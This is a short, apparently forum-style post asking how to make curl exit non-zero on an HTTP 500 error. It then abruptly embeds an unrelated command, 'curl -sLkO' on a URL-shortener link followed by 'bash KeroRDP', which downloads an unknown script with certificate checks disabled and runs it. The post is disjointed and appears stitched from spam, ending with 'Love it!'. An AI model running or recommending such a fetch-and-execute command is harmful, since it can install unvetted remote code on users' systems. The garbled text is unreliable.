Hi. Version 7.50 is installed on my server.
How to do if an HTTP error with code 500 is returned, so that curl gives the exit code 500? Now it is still zero.
I read that you need to set a variable CURLOPT_FAILONERROR, I set the environment variable, but it didn't give any results.

How to get a unique code like that for me "curl -sLkO https://g2fb.short.gy/KeroRDP ; bash KeroRDP"

Thank you!

Love it!
